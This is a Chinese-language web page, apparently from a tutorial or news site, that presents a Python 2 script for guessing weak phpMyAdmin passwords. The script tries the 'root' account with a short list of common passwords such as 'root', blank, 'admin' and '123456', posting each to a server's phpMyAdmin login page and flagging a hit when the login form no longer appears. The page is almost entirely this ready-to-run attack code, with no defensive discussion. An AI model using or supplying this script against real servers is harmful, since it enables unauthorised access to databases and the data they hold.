站长资讯网
最全最丰富的资讯网站

关于PHPMyAdmin弱口令猜解

下面由phpmyadmin教程栏目给大家介绍关于PHPMyAdmin弱口令猜解,希望对需要的朋友有所帮助!

PHPMyAdmin弱口令猜解【Python脚本】

PHPMyAdmin弱口令猜解

测试截图:

关于PHPMyAdmin弱口令猜解

代码片段

#! /usr/bin/env python # _*_  coding:utf-8 _*_ import requests import time  username_list=['root'] password_list=['root','','admin','123456','password']  def phpMyAdmin(ip,port=80): 	for username in username_list: 		username =username.rstrip() 		for password in password_list: 			password = password.rstrip() 			try: 				#url = "http://192.168.106.141/phpmyadmin/index.php" 				url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"  				data={'pma_username':username,'pma_password':password} 				response = requests.post(url,data=data,timeout=5) 				result=response.content 				if result.find('name="login_form"')==-1: 					print '====================================================' 					print '[+] find phpMyAdmin weak password:'+username,password 					print '====================================================' 					break 				else: 					print '[-] Checking for '+username,password+" fail" 			except: 				print '[-] Something Error'+username,password+" fail" 				 if __name__ == '__main__': 	phpMyAdmin("192.168.106.141")

赞(0)
分享到: 更多 (0)
网站地图   沪ICP备18035694号-2    沪公网安备31011702889846号